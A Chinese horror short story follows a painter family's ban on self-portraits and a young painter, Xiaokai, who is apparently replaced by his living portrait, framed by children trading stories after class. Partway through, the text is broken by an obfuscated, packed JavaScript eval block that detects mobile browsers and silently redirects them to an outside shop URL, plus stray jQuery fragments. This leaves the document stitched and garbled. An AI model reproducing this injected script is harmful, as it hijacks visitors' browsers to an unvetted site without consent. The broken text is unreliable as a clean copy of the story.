美术课结束以后，几个孩子还围在教室后面，看着老师留下来的那幅人物肖像。画上的老人坐在一张木椅上，手里握着一根拐杖，脸上的皱纹画得很细，连眼角那一点疲惫都仿佛能够看见。
西西盯着看了半天，忍不住说：“感觉他真的在看我们。”
“因为画得像啊。”糖糖说，“如果画得不像，就不会有这种感觉了。”
安安却摇摇头：“不只是像吧。如果只是照着照片画，应该不会让人觉得他好像真的有自己的事情。”
里奈原本正在收拾课本，听见这句话以后抬起头来。她看了一眼那幅画，又低头翻开自己的故事本。
“有一个家族，他们画的人，比这个还要像。”
西西立刻来了兴趣：“有多像？”
“他们画出来的人，甚至会让别人觉得，画里的人真的活过一遍。”
“这么厉害？”
里奈点了点头。
“所以他们家有一条规矩。”
糖糖问：“什么规矩？”
里奈的手指轻轻压住书页。
“可以画任何人，任何东西，但是不能画自己。”
几个孩子面面相觑。
西西问：“为什么？”
里奈没有马上回答，只是翻过一页。
“因为他们家的人后来发现，画自己，是一件很危险的事情。”
＊＊＊
小楷出生在一个历史悠久的画家世家。
他们家的祖先究竟从什么时候开始作画，已经没有人能够说清楚。家里保存着许多代以前留下来的画卷，有些已经因为年代久远而泛黄，有些边角甚至残缺，可即使经过了数百年，画中人物的神情仍然清晰得惊人。
这个家族最擅长的是人物画。
过去，他们曾经替皇亲国戚绘制肖像，也曾受王公贵族邀请进入府邸作画。时代变迁以后，皇室和贵族逐渐退出历史舞台，他们又开始为富商、名流以及各地收藏家作画。无论对象是谁，他们都不只是追求五官与本人相似，更在意一个人的神态、习惯和气质。
因此，他们家的画总有一种很奇怪的故事感。
一个男人站在窗前，画面里没有出现任何其他人，可观者却会忍不住猜测他究竟在等谁；一个年轻女子坐在花园里，手里拿着一本没有翻开的书，她的目光没有看向画外，却让人觉得她刚刚听见了某个令人难过的消息；甚至一个普通老人坐在桌旁喝茶，也会让人觉得他似乎刚刚经历过一段漫长的人生。
他们家的画师有一句流传多年的话：
“画其形者众，传其神者少。”
也正因为如此，他们的作品一直受到各个时代有钱人的追捧。
可与这个家族的名声一样出名的，还有一条奇怪的规矩。
不许画自画像。
这条规矩已经延续了不知道多少代，没有人敢违反。
小楷小时候第一次问起这件事，是在祖父的画室里。
他那时候年纪还小，对墙上的人物肖像充满好奇。那些画里有男人、有女人、有老人、有孩子，却唯独找不到一张真正意义上的自画像。
“爷爷，”小楷指着墙上的画问，“为什么我们家的人从来不画自己？”
祖父正在整理画笔，听见以后动作停了一下。
“谁告诉你画家可以画自己？”
“因为这里没有啊。”
祖父沉默片刻，才说：“没有，就是没有。”
小楷不明白。
“为什么？”
祖父没有回答，只是把一支毛笔放进笔筒里。
“这是规矩。”
“那为什么会有这个规矩？”
祖父看了他一眼，脸上的表情忽然变得有些复杂。
“等你长大了，也许你就知道了。”
小楷那时候觉得这句话很敷衍。
他又问过父亲。
父亲正在给一位客人画像，听见以后只是淡淡地说：“因为我们画别人，只需要看见别人。”
小楷问：“那画自己呢？”
父亲的笔尖停在半空。
“画自己，就要看见自己。”
“看见自己有什么不好的？”
父亲没有回答。
他只是低头继续作画。
＊＊＊
小楷长大以后，渐渐理解了家族为什么如此重视这条规矩。
他开始真正学习肖像画以后，才发现画一个人远没有想象中那么简单。一个人的脸会骗人，可眼睛通常不会。嘴角微微向上，不一定是在笑；眉头轻轻皱起，也不一定是在生气。一个人的手指怎么放，肩膀怎么倾斜，甚至站立时身体习惯性偏向哪一边，都可能透露出许多东西。而小楷家族真正厉害的地方，就是能够把这些东西画进去。
小楷逐渐成为家族年轻一代里最出色的画师之一。
他画过企业家，也画过演员；画过年迈的收藏家，也画过刚刚成年的女孩。每完成一幅作品，客人都会觉得奇怪，因为他们往往会在画里看到一个自己平时没有注意过的自己。
小楷越来越喜欢这种感觉。他觉得画画并不是简单地复制一个人。而是把一个人身上那些平时无法被看见的东西留下来。
于是有一天，他忽然产生了一个念头。
既然自己已经能够画别人，那么自己究竟是什么样的人？
他站在镜子前看了很久。
那是一个很普通的夜晚。
父母已经睡下，画室里只剩下一盏台灯。
小楷拿出画布。
他知道家里的规矩。
也知道自己不应该这么做。
可他还是拿起了画笔。
＊＊＊
最开始，一切都很正常。
他按照镜子里的自己画出脸部轮廓，再一点一点调整眼睛、鼻梁和嘴唇的位置。他画得非常认真，甚至比平时给客人画像的时候还要仔细。因为这是他第一次真正观察自己。画到最后，他停下来，看着画布上的脸。那张脸与镜子里的自己几乎一模一样。
可小楷很快发现了一个问题。
画中的自己正在笑。
而现实里的自己没有笑。
他愣了一下，以为自己刚才不小心改变了表情，于是又看了一眼镜子。
镜子里的他面无表情。
画中的他却仍然带着一点淡淡的笑意。
小楷拿起画笔，准备修改嘴角。
就在笔尖碰到画布以前，他忽然看见画中的自己眨了一下眼睛。他手一抖，笔掉在了地上。画里的人没有再动。小楷站在那里，过了很久才慢慢靠近画布。
他伸出手，轻轻碰了一下画中的脸。
没有任何异常。
他告诉自己，刚才一定是太累了。
可那天晚上，他没有再继续画。
他把画布盖起来，锁上画室的门，回到了房间。
第二天早晨，当他再次打开画室的时候，画布上的人物已经发生了变化。
画中的自己没有穿昨晚那件衣服。
而是穿着今天早晨他刚刚换上的那件衣服。
小楷站在那里，脸色一点一点变了。
＊＊＊
他开始观察那幅画。
他很快发现，画中的自己似乎总是比现实中的自己慢半步。小楷今天去了咖啡馆，第二天画里就出现了咖啡馆的背景；他换了一副眼镜，画里的自己也戴上了同样的眼镜；有一天他因为工作太累，在画室里睡着了，第二天醒来以后，却发现画中的自己也闭着眼睛。
这不是一幅普通的画。它正在记录他的生活。甚至有时候，会提前记录。
一天晚上，小楷正在画一位客人的肖像，画中的自己忽然转过头，看向画室门口。
现实中的小楷顺着它的目光看过去。
门外什么都没有。
几分钟后，父亲推门进来。
小楷没有告诉父亲。
他不知道该怎么解释。
更让他害怕的是，画中的自己似乎越来越不像一幅画。它开始有自己的表情。有时候小楷站在画前，它会微笑；有时候小楷情绪不好，它反而会露出一种非常平静的神情。仿佛那个存在正在一点一点学会理解他。
直到有一天晚上，画中的自己开口了。
“你为什么一直看着我？”
小楷整个人僵住。
他盯着画布，几乎不敢呼吸。
画中的自己也看着他。
小楷往后退了一步。
“你是谁？”
画里的人笑了。
“你不是一直在画我吗？”
＊＊＊
第二天，小楷终于把事情告诉了父亲。
父亲来到画室以后，只看了一眼那幅自画像，脸色就变了。
“你画了自己？”
小楷点头。
父亲沉默了很久。
“为什么？”
“我只是想试试。”
父亲没有责备他。
反而只是走到画布前，仔细观察里面的人。
过了一会儿，他问：“它跟你说话了吗？”
小楷愣住。
“你知道？”
父亲闭上眼睛。
“我当然知道。”
小楷第一次意识到，家里的那条规矩并不是因为祖先迷信。
父亲告诉他，很多代以前，家族里曾经有一位极其出色的画师。他一生为无数贵族作画，却始终不相信“不能画自己”的规矩。年老以后，他决定完成一幅自画像。
那幅画完成以后，所有人都发现了异常。
画中的人会动。
会笑。
会说话。
起初，大家认为那只是画师自己的幻觉，可后来事情越来越严重。画中的人开始拥有和画师完全一样的习惯，甚至能够准确说出画师经历过的事情。
最后有一天，画师消失了。
而那幅画中的人从画布里走了出来。
“那个人后来怎么样了？”小楷问。
父亲看着他。
“没人知道。”
“那幅画呢？”
“烧掉了。”
“所以他死了吗？”
父亲没有回答。
小楷盯着父亲。
“为什么后来我们家还不许画自画像？”
父亲沉默了很久，才说：“因为没有人知道，那个出来的人究竟是不是原来的他。”
小楷突然感到一阵寒意。
父亲继续说道：“我们家真正害怕的，从来不是画会活。”
他看向画中的小楷。
“而是活着的人，会不会有一天变成画。”
＊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926033|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
＊＊
父亲要求小楷立刻把自画像烧掉。两个人把画搬到院子里，点燃火盆。火焰慢慢吞噬画布。小楷一直盯着画中的自己。那张脸没有挣扎。甚至没有恐惧。它只是安静地看着小楷。
就在画布即将完全烧毁的时候，画中的人忽然露出了惊恐的眼神，还似乎在张嘴。
小楷心里一震。
父亲却没有注意到。
火焰很快将整幅画吞没，只剩下一团漆黑的灰烬。
父亲松了一口气。
“结束了。”
小楷点点头。
那天晚上，他第一次睡得很安稳。
第二天早晨，母亲走进厨房时，发现小楷已经坐在那里吃早餐。
“今天怎么起这么早？”
小楷笑了笑。
“昨晚睡得很好。”
母亲看着他。
“你的画烧掉以后，心情是不是好多了？”
小楷点头。
“好多了。”
母亲没有发现任何异常。
她只是像往常一样给他倒了一杯牛奶，又问他今天是不是还要去画室。
小楷回答：“当然。”
他的语气、神情和过去完全一样。
没有任何地方值得怀疑。
＊＊＊
几个月以后，小楷重新开始参加画展。
他的画比以前更加出色。评论家惊叹于他的作品，认为他已经真正掌握了家族最重要的技法。
“你的画越来越传神了。”一位收藏家对他说，“有时候我甚至觉得，画里的人真的知道自己在做什么。”
小楷听完以后，只是礼貌地笑了笑。
“谢谢。”
没有人知道，那幅被烧毁的自画像有没有真正消失。也没有人知道，现在站在这里的究竟是不是原来的小楷。因为它拥有小楷的记忆，知道小楷说话的方式，知道小楷喜欢什么，也记得他小时候在祖父画室里待过的每一个下午。
它甚至记得自己第一次拿起画笔时的感觉。
所以即使最亲近的人，也没有办法发现区别。
有一次，父亲站在画室门口看着他作画。
小楷正在给一位老人画肖像。
父亲看了很久。
“你最近画得很好。”
小楷抬起头。
“谢谢。”
父亲没有再说什么。他只是站在那里，像是在努力寻找某个自己熟悉的东西。可是最后，他什么都没有发现。
因为眼前的人确实就是小楷。
至少在记忆里是。
父亲最终转身离开。
而小楷继续低头作画。
＊＊＊
多年以后，小楷成为了家族最著名的画师。
他的作品被各地收藏家争相购买，也有许多人专程来到他的画室，请他为自己作画。可他从来不画自画像。
有人问起原因，他总是笑着说：
“这是我们家的传统。”
有一天，一位年轻记者来采访他。
记者看着墙上那些栩栩如生的人物肖像，忍不住问：“你们家的画为什么总是这么有故事感？”
小楷想了一会儿，说：“因为人本身就是故事。”
记者又问：“那你觉得画一个人最难的是什么？”
小楷沉默片刻。
“知道他是谁。”
“这是什么意思？”
他没有解释，只是看向墙上的一幅旧画。那是很多年前家族留下的一幅作品。画中站着一个年轻人与小楷略有几分相似。
没有落款。
没有姓名。
记者问：“这是哪一位故人呀？”
小楷看着那幅画。
很久以后，他才轻声回答：
“不知道。”
说完，他笑了笑。
记者也跟着笑了，没有觉得有什么不对。
采访结束以后，房间重新安静下来。小楷一个人站在那幅画前。画中的年轻人也静静地看着他。过了一会儿，画中的人轻轻眨了一下眼睛。
而现实里的小楷，也对他笑了。
＊＊＊
“所以最后，真的被画里的人替代了？”
西西听完以后，忍不住问。
里奈点点头。
“应该是。”
“为什么是应该？”
“因为没有人能够证明。”
糖糖皱着眉头：“可是他的爸爸不是知道这件事情吗？”
里奈想了一会儿。
“他知道画会活，却不知道眼前这个人什么时候已经不是原来的那个人。”
安安一直没有说话。
过了一会儿，她忽然问：“那如果画里的人和真正的小楷一模一样，谁还能分辨出来？”
里奈看着她。
“没人。”
她把故事本合上，放进书包。
“所以最后最可怕的不是他被替代了。”
“而是——”
里奈停了一下。
“所有人都觉得，他从来没有被替代过。”
上课铃声在这时候响起。
几个孩子回到自己的座位，谁也没有再讨论那个故事。
而在故事的另一端，那间属于小楷的画室里，一幅没有署名的旧画仍然挂在墙上。